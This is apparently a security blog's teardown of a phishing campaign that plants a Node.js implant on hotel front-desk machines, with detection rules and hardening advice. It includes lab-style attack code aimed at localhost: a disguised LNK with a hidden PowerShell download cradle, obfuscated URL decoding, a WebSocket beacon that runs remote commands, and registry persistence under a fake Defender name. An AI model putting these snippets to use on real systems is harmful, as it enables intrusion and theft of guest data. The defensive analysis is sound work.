Hotel Photo-ZIP Phishing: Anatomy of Microsoft’s Newly Disclosed Node.js Implant Targeting Hospitality Front Desks Across Europe and Asia

A front-desk clerk in Osaka opens an email from “Booking Manager (via Calendly)” about a bedbug complaint, clicks through, and downloads a file called photo-48217.zip. Inside is what looks like a guest’s photo. It is not. By the time the clerk double-clicks it, a signed Node.js runtime is sitting in their AppData folder pulling C2 domains off the TON blockchain. Microsoft disclosed this campaign on June 25, 2026, and it is one of the cleaner examples I have seen of an actor weaponizing legitimate, signed infrastructure end to end. Here is the full teardown.


What Microsoft Found, and Why It Matters

Microsoft Threat Intelligence published its writeup on June 25, 2026. SOC Prime and ITOCHU had documented the same hotel phishing and the LNK-to-PowerShell-to-Node.js chain about two weeks earlier, and Microsoft says its telemetry lines up with that reporting. SOC Prime named the implant TonRAT, after its use of The Open Network (TON) blockchain for command-and-control resolution. Microsoft did not assign a cluster name and has not attributed the activity to any known threat actor.

The campaign has been running since April 2026, hitting hospitality organizations across Europe and Asia. A second delivery wave appeared in late May. The targeting is deliberate: observed victim device names map to reception desks, front-office systems, and hotel-branded machines. This is not opportunistic spray-and-pray hitting random consumers. Someone wants access to the people who sit between guests and the property-management system.

FactDetail
ImplantTonRAT (SOC Prime naming)
AttributionUnattributed
Active sinceApril 2026; Wave 2 in late May
DisclosureMicrosoft Threat Intelligence, June 25, 2026
SectorsHotels and hospitality across Europe and Asia
Lure languagesJapanese (most common), Danish, Dutch
Runtime abusedNode.js v24.13.0, signed, from nodejs.org
C2 resolutionTON blockchain API into WebSocket channels

The thesis I want you to walk away with: every single stage of this chain leans on something legitimate. Calendly’s real sending infrastructure. Google’s redirect service. Cloudflare. A Microsoft-Authenticode-signed Node.js binary. A public blockchain API. The attacker brought almost nothing of their own to flag. That is the trend, and Node.js is now squarely part of it.

Why Hotel Front Desks Are a Structurally Soft Target

Before the mechanics, understand the strategy, because it explains the rest of the design.

A hotel front desk is a near-perfect target for an operator who wants high-value data behind low-maturity security. Three things stack up:

First, the data. The front-desk workstation is the operating console for the property-management system (PMS) – Opera, Cloudbeds, Mews, RoomKey, whatever the chain runs. That console touches guest names, contact details, travel dates, loyalty membership IDs, and payment records. In the EU, unauthorized access to exactly those categories is what triggers mandatory breach notification under GDPR, with penalties up to 4% of global annual revenue. The data is sensitive, it is concentrated, and it has a regulatory price tag attached.

Second, the people. Front-desk staff handle image and document attachments from guests all day. A “photo of the room” or a “complaint screenshot” is not unusual, it is the job. The lure does not have to be clever, it just has to look like Tuesday.

Third, the maturity gap. Front-office endpoints are notoriously under-managed. They are often shared logins, rarely have EDR tuned for the host, sit on flat networks with the PMS and payment terminals, and run whatever the franchisee’s IT vendor set up in 2019. That flat network is the lateral path. Compromise the reception PC and you are one hop from the system that holds 39 million reservations.

We have the receipts on how valuable this access is. The Otelier hotel-management platform breach disclosed in January 2025 exposed records tied to Marriott, Hilton, and Hyatt: 437,000 guest email addresses, 39 million reservation records, and 7.8 terabytes pulled from cloud storage. BWH Hotels (Best Western, over 4,000 properties in 100-plus countries) disclosed in May 2026 that attackers had been inside its guest reservation system from October 14, 2025 through April 22, 2026. Six months of quiet access to guest names, contact details, and reservations.

Booking-themed phishing against hotel staff is a recurring genre. There were ClickFix campaigns dropping PureRAT to steal Booking.com logins. TonRAT is the same hunting ground with better tradecraft.

Authentication Laundering: Beating SPF, DKIM, and DMARC Without Spoofing

Microsoft coined a clean term for the delivery technique: authentication laundering. It is the part of this campaign worth tattooing on your mail team’s whiteboard, because it breaks the assumption most gateways still run on.

The emails are not spoofed. They are genuinely sent from a real Calendly account the actor registered, through the subdomain em1618.calendly.com, which rides Calendly’s SendGrid sending infrastructure. Run the authentication checks and every one of them passes for the right reasons:

  • SPF passes because the message is genuinely sent from Calendly’s authorized servers.
  • DKIM passes because SendGrid applies a valid cryptographic signature.
  • DMARC passes because the calendly.com domain aligns correctly.

The composite authentication result is clean. At the filtering layer, this message is indistinguishable from a legitimate Calendly notification, because in the eyes of SPF/DKIM/DMARC it is one. The attacker laundered their malicious intent through a trusted sender’s reputation. Your gateway is checking “did Calendly really send this,” not “is what Calendly sent malicious.”

From there the user gets walked through a four-hop redirect chain designed to shed any analysis tooling along the way:

  1. A Calendly redirect URL embedded in the email.
  2. Google’s share.google redirect service.
  3. A Cloudflare-hosted domain in the .cfd TLD.
  4. A Cloudflare Turnstile human-verification challenge that blocks automated sandboxes and crawlers.

Pass the Turnstile challenge and the browser downloads photo-<random numbers>.zip. The Turnstile gate is the same trick everyone is using now: it filters out your detonation sandbox while a real clerk sails through.

The display name is “Booking Manager (via Calendly).” The lures reference guest complaints, bedbug infestations, room inquiries, health inspections, and stay reviews. No recipient or property is named in the subject line, which tells you this is high-volume, list-driven sending, not tailored spear phishing. They are casting wide and letting the hospitality theme do the targeting.

Flowchart showing the four-hop redirect chain from a Calendly email with passing SPF/DKIM/DMARC through Google redirect and Cloudflare to a Turnstile challenge before the malicious ZIP is delivered
Every hop in the delivery chain rides legitimate infrastructure, so authentication verdicts pass cleanly while the malicious payload waits at the end.

The LNK Dropper: A Fake PNG That Runs PowerShell

Inside the ZIP is a shortcut wearing a photo’s clothes. Wave 1 used IMG-<numbers>.png.lnk, Wave 2 used PHOTO-<numbers>.png.lnk. The double extension is the whole trick. Windows hides known file extensions by default, so IMG-48217.png.lnk renders in Explorer as IMG-48217.png, complete with an image icon the LNK can set via IconLocation. The clerk sees a picture. They double-click a launcher.

Here is how that artifact is built. This is a lab analogue, not the campaign’s binary, but it produces the same on-disk and telemetry shape:

# Lab: build a fake IMG-<n>.png.lnk that launches PowerShell
$shell    = New-Object -ComObject WScript.Shell
$shortcut = $shell.CreateShortcut("$env:TEMP\IMG-48217.png.lnk")
$shortcut.TargetPath   = "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
$shortcut.Arguments    = '-NoP -W Hidden -Exec Bypass -C "IEX (New-Object Net.WebClient).DownloadString(''http://127.0.0.1:8888/stage1.ps1'')"'
$shortcut.IconLocation = "C:\Windows\System32\imageres.dll,67"   # generic image icon
$shortcut.Save()
Compress-Archive -Path "$env:TEMP\IMG-48217.png.lnk" `
  -DestinationPath "$env:TEMP\photo-99999.zip"

When the LNK fires, PowerShell launches hidden (-W Hidden) and pulls down the next stage. That stage is where the first real anti-analysis trick lives.

The BigInt URL Decode

The PowerShell stage does not carry a plaintext download URL. It uses BigInt arithmetic to reconstruct one at runtime. The technique is simple and effective against naive signature matching: take the URL string, read it as a big-endian hex integer, store that as a single enormous decimal number, then reverse the math to recover the string. No URL substring ever appears in the script body, so AV signatures keyed on http:// or known C2 hostnames find nothing.

You can demonstrate the entire thing in a Node REPL:

// Encode side (attacker, offline)
const url     = "http://127.0.0.1:8888/implant.js";
const encoded = BigInt("0x" + Buffer.from(url).toString("hex")).toString(10);
console.log("Encoded:", encoded);   // one giant decimal number, no URL visible

// Decode side (what the dropper runs at execution time)
const decoded = Buffer.from(BigInt(encoded).toString(16), "hex").toString("utf8");
console.log("Decoded URL:", decoded);   // http://127.0.0.1:8888/implant.js

The good news for defenders is that PowerShell Script Block Logging (Event ID 4104) sees through this entirely. The deobfuscation happens in the script engine, so the log captures the BigInt or [System.Numerics.BigInteger] operation and frequently the reconstructed string. Obfuscation that survives static AV often dies instantly under behavioral logging, which is the running theme of detecting this whole campaign.

Staging the Runtime: Node.js Dropped Into User Space

This is the elegant part. The PowerShell stage pulls a .ps1 to %TEMP%, then downloads a legitimate Node.js v24.13.0 runtime directly from nodejs.org into AppData\Local\Nodejs\. The implant’s .js files land in the same directory. No system-wide install. No elevation. AppData is user-writable, so the entire foothold is established at the privilege level of whoever opened the email.

# stage1.ps1 analogue: stage the runtime with no elevation required
$nodePath = "$env:LOCALAPPDATA\Nodejs"
New-Item -ItemType Directory -Force -Path $nodePath | Out-Null
# Campaign: Invoke-WebRequest -Uri "https://nodejs.org/dist/v24.13.0/node.exe" -OutFile "$nodePath\node.exe"
Invoke-WebRequest -Uri "http://127.0.0.1:8888/implant.js" -OutFile "$nodePath\implant.js"
$ps1 = "$env:TEMP\update_$(Get-Random).ps1"
"& '$nodePath\node.exe' '$nodePath\implant.js'" | Out-File $ps1

Why bother dropping a whole runtime? Because node.exe is a Microsoft-Authenticode-signed binary from a known, reputable vendor. AV and EDR products that allowlist signed binaries from trusted publishers wave it straight through. The malicious logic never lives in a PE the AV can statically analyze – it lives in interpreted .js files that get JIT-compiled at runtime. You have a fully legitimate, signed executable running attacker code that exists only as script. That is the same evasion logic behind Electron app abuse, and it maps cleanly to ATT&CK T1059.007 (Command and Scripting Interpreter: JavaScript): abuse a widely supported scripting engine so the activity blends into normal application behavior.

TonRAT Deep Dive: TON Blockchain C2 and WebSocket Comms

The implant earns its name here. Instead of hard-coding C2 domains or IPs that you could pull from strings and blocklist at the DNS or firewall layer, TonRAT resolves its C2 domains through the TON (The Open Network) blockchain API, then opens an encrypted WebSocket channel to whatever it gets back.

Think about what that defeats. Static IOC blocklists become near-useless, because the operator can rotate the destination by updating a value on-chain, and the implant fetches the current one at runtime. There is no fixed FQDN baked into the binary to seize or sinkhole. The blockchain lookup itself looks like ordinary HTTPS to a public API. This is dead-drop resolution (ATT&CK T1102, Web Service) implemented on infrastructure that is censorship-resistant by design.

Once it has a destination, it beacons over WebSocket on a spread of non-standard ports. The confirmed set:

Ports observedNotes
8443, 8445, 8453TLS-adjacent high ports, blend with legitimate app traffic
5555Common debug/ADB-style port
56001, 56002, 56003High ephemeral-range, easy to miss

Any of those initiated by node.exe (or by an executable running out of a user-profile or temp path) deserves an immediate look. A WebSocket beacon from a scripting runtime is the network signature here, and a default beacon interval in the tens of seconds is typical for this kind of implant.

// TonRAT-analogue beacon loop (lab: all traffic to localhost)
const WebSocket = require("ws");
function beacon() {
  const ws = new WebSocket("ws://127.0.0.1:8443");   // campaign: resolved via TON, wss://
  ws.on("open", () =>
    ws.send(JSON.stringify({ host: require("os").hostname(), platform: process.platform }))
  );
  ws.on("message", cmd => {
    try { ws.send(require("child_process").execSync(cmd.toString(), { encoding: "utf8", timeout: 5000 })); }
    catch (e) { ws.send(e.message); }
  });
}
setInterval(beacon, 30000);
beacon();

Early in the session the implant runs a geolocation check against ip-api.com. That tells the operator where the box physically sits, useful for filtering out sandboxes and for prioritizing victims by region.

Flow diagram tracing the TonRAT chain from LNK dropper through PowerShell BigInt decoding to a signed Node.js runtime that resolves its C2 address via the TON blockchain API and beacons over WebSocket
TonRAT resolves its command-and-control address from the TON blockchain at runtime, making static domain blocklists useless against this implant.

Dual Registry Persistence: Why Pulling One Key Is Not Enough

TonRAT establishes dual persistence across two separate run keys, and this matters operationally because it traps incomplete remediation. The confirmed paths:

  • HKCU\Software\Microsoft\Windows\CurrentVersion\Run – a value invoking node.exe <implant.js> out of AppData\Local\Nodejs\.
  • HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce – a value pointing into a ProgramData\<randomname>\ stager.
# Lab: write both persistence paths (campaign analogue)
$nodePath  = "$env:LOCALAPPDATA\Nodejs"
$implantJs = "$nodePath\implant.js"
$stagerPs1 = "$env:ProgramData\svchost_$(Get-Random).ps1"
"& '$nodePath\node.exe' '$implantJs'" | Out-File $stagerPs1

Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\RunOnce" `
  -Name "WindowsDefenderUpdate" `
  -Value "powershell.exe -NoP -W Hidden -F `"$stagerPs1`""
Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" `
  -Name "NodejsHelper" `
  -Value "`"$nodePath\node.exe`" `"$implantJs`""

Full remediation has to hit both paths plus the runtime and .js files under AppData\Local\Nodejs, and the ProgramData stager. Pull only the Run key and the RunOnce/ProgramData arm survives the next reboot and re-establishes. I have watched teams “clean” a box, declare victory, and find the same beacon three days later because they killed one of two keys. Treat dual persistence as a checklist, not a search-and-destroy. This is ATT&CK T1547.001 (Registry Run Keys / Startup Folder), doubled up for redundancy.

Two chained padlocks on a door where one is broken but the second still holds it shut, symbolizing dual registry persistence where removing only one key leaves the implant alive
Dual persistence across Run and RunOnce keys means the implant survives a reboot even if only one key is removed during remediation.

Post-Exploitation: Headless Browsers, On-Device Compilation, and Forced Shutdowns

Once it has hands-on-keyboard reach, the operator has been observed doing several distinct things.

Headless browser automation. Some hosts spawn Chrome with --headless --no-sandbox from the node.exe parent. Two plausible purposes: blending C2 callbacks into legitimate-looking browser traffic, and automating credential theft against the PMS web portal the front desk logs into. A scripted headless browser can scrape a login DOM, replay credentials, and pull session tokens without anyone watching the screen seeing a window pop.

On-device PE compilation. Microsoft observed the compilation of portable executable payloads on the compromised host. The strong read is csc.exe (the Roslyn C# compiler) or PowerShell’s Add-Type, both of which invoke .NET compilation in-process. Compiling on the victim means the second-stage PE never traverses the network or touches disk as a flagged download, defeating static detection that keys on known malicious binaries. The hunt pivot is unmistakable: a csc.exe child process spawned from powershell.exe or node.exe on a front-desk machine has no business existing.

Forced shutdown. Hosts have been hit with cmd /c shutdown -s -t 0. The operational purpose is most likely anti-forensics and disruption: knock the box offline to interrupt analysis, clear volatile memory, and frustrate a responder who logs in to find the machine simply powered down. It is a blunt but effective way to burn evidence on the way out.

// Post-exploitation behaviors observed (lab analogues, localhost targets)
const { execSync, spawn } = require("child_process");

// Headless browser against mock PMS login
spawn("C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe",
  ["--headless", "--no-sandbox", "--dump-dom", "http://127.0.0.1:8080/pms-login"],
  { detached: true, stdio: "ignore" }).unref();

// Forced shutdown (campaign uses: cmd /c shutdown -s -t 0)
// In lab, write a marker instead of shutting down the analysis VM.

Defender Exclusion Tampering and the Anti-Analysis Stack

TonRAT modifies Microsoft Defender’s exclusion list to hide its directory and any randomly named executables from real-time scanning, almost certainly via Add-MpPreference -ExclusionPath. That call from a script context, especially launched by node.exe, is a high-fidelity signal in its own right (ATT&CK T1562.001, Impair Defenses: Disable or Modify Tools).

Stack the full anti-analysis kit and you see a coherent design:

LayerTechniqueWhat it defeats
DeliveryAuthentication laundering via CalendlySPF/DKIM/DMARC gateway checks
DeliveryCloudflare Turnstile gateAutomated sandboxes and crawlers
DropperBigInt URL encodingStatic AV string signatures
RuntimeSigned node.exe from nodejs.orgPublisher allowlisting, PE static analysis
PayloadJS-only logic, on-device PE compileStatic binary detection
C2TON blockchain resolutionDNS/IP blocklists, sinkholing
HostDefender exclusion tamperingReal-time AV scanning

Each layer targets a different defensive control. None of them is novel on its own. The competence is in the assembly.

Node.js as an Abuse Platform: This Is a Trend, Not a One-Off

I want to be blunt about the bigger picture, because TonRAT is a symptom. Adversaries have figured out that a signed, reputable scripting runtime is a near-ideal payload vehicle. The runtime is allowlisted. The payload is interpreted, so there is no PE to statically analyze until the actor chooses to compile one locally. The behavior blends with the enormous installed base of legitimate Node and Electron apps – Slack, Discord, VS Code, Teams, and half the desktop software shipped in the last five years all run Node under the hood. We have already seen this energy in the npm supply-chain attacks and in malware shipped inside trojanized Electron apps. TonRAT just brings it to a targeted intrusion with a clean delivery front end.

The defensive implication is uncomfortable: “is this binary signed and reputable” is no longer a sufficient question. You have to ask what the signed binary is doing, where it is running from, and what it is talking to. Provenance and behavior, not signature alone.

A cracked code-signing certificate seal with a dark malicious stream leaking through the crack, surrounded by silhouettes of legitimate desktop applications built on Node.js and Electron
A signed, reputable runtime is now a preferred payload vehicle: the certificate is genuine, but what runs inside it is not.

Detection and Defense

Microsoft’s June 25 guidance and the IOC set give you a solid behavioral net. The core idea: a legitimate runtime in the wrong place doing the wrong things. Official Node installs live in C:\Program Files\nodejs\. A node.exe running out of AppData\Local\Nodejs or %TEMP% is your starting flag.

Sysmon and Windows Event hunts

Event IDSourceHunt for
1 (ProcessCreate)Sysmonnode.exe image path in AppData\Local\Nodejs or %TEMP%; node.exe parent is powershell.exe/wscript.exe/mshta.exe/explorer.exe; chrome.exe --headless --no-sandbox, shutdown.exe, csc.exe, or Add-MpPreference spawned by node.exe
3 (NetworkConnect)Sysmonnode.exe outbound to 8443, 8445, 8453, 5555, 56001-56003
11 (FileCreate)Sysmon*.png.lnk written to user dirs; node.exe and .js files written to AppData\Local\Nodejs
13 (RegistryValueSet)SysmonRun/RunOnce values set by powershell.exe pointing at node.exe or AppData\Local\Nodejs
22 (DNSQuery)Sysmonnode.exe querying .cfd TLD domains or ip-api.com
4104PowerShell/OperationalScript block logs containing BigInt, [System.Numerics.BigInteger], Add-MpPreference -ExclusionPath, -W Hidden download cradles
4657 / 4698SecurityRun-key modification; scheduled-task creation if the actor pivots persistence

A practical Sigma starting point

title: Node.js Runtime Executing from User AppData (TonRAT)
status: experimental
logsource:
  category: process_creation
  product: windows
detection:
  selection:
    Image|contains:
      - '\AppData\Local\Nodejs\node.exe'
      - '\AppData\Roaming\node.exe'
      - '\Temp\node.exe'
  condition: selection
falsepositives:
  - Developers running local Node projects (official installs go to C:\Program Files\nodejs)
level: high
tags:
  - attack.execution
  - attack.t1059.007
title: Suspicious Child Process Spawned by node.exe
logsource:
  category: process_creation
  product: windows
detection:
  selection:
    ParentImage|endswith: '\node.exe'
    Image|endswith:
      - '\powershell.exe'
      - '\cmd.exe'
      - '\shutdown.exe'
      - '\csc.exe'
      - '\chrome.exe'
  condition: selection
level: high
tags:
  - attack.t1059.007
  - attack.t1562.001

Network and mail layer

Block or alert on .cfd domains matching photo-<digits>[.]cfd, and monitor DNS for queries to recently registered .cfd domains. On the mail side, authentication laundering means you cannot trust SPF/DKIM/DMARC pass alone. Add content inspection on Calendly-origin mail, scrutinize redirect chains that bounce through share.google into newly registered TLDs, and detonate the final download in an environment that can clear Turnstile.

ATT&CK mapping

TacticTechnique
Initial AccessT1566.002 Phishing: Spearphishing Link
ExecutionT1059.001 PowerShell, T1059.007 JavaScript, T1204.002 Malicious File
Defense EvasionT1027 Obfuscated Files (BigInt), T1036.007 Double Extension, T1562.001 Impair Defenses, T1027.004 Compile After Delivery
PersistenceT1547.001 Registry Run Keys
Command and ControlT1102 Web Service (TON), T1571 Non-Standard Port
ImpactT1529 System Shutdown/Reboot

Hardening hotel environments

Lock node.exe execution to approved paths with AppLocker or WDAC so a runtime in AppData simply cannot run. Audit the Run and RunOnce keys continuously. Segment the PMS and payment terminals off the front-desk LAN so a reception-PC compromise is not a free hop to the reservation database. And get every front-office endpoint under real EDR with the behavioral hunts above wired in, because the franchisee’s 2019 antivirus is going to allowlist that signed Node binary every single time.

Key Takeaways

  • Authentication laundering breaks the “auth passed, so it’s safe” assumption. Real Calendly sending infrastructure means SPF, DKIM, and DMARC all pass legitimately. Inspect content and redirect chains, not just authentication verdicts.
  • A signed binary in the wrong directory is the whole detection. Official Node lives in Program Files. node.exe running from AppData\Local\Nodejs or %TEMP% is the single highest-value flag in this chain.
  • TON blockchain C2 kills your static blocklists. Pivot to behavior: node.exe opening WebSockets on 8443/8445/8453/5555/56001-56003, querying ip-api.com, or spawning csc.exe, shutdown.exe, and headless Chrome.
  • Dual persistence demands dual remediation. Kill the Run key, the RunOnce/ProgramData stager, and the files under AppData\Local\Nodejs, or the implant comes back after reboot.
  • Hotel front desks are a strategic target, not a random one. Guest PII, payment data, a flat path to the PMS, and weak endpoint maturity make reception the cheapest way into very expensive data. Segment the network and put real EDR on the front office.
  • Node.js and Electron abuse is the direction of travel. Signed-runtime-plus-interpreted-payload defeats publisher allowlisting and static analysis by design. Judge what the binary does, not just who signed it.

Related Tutorials

References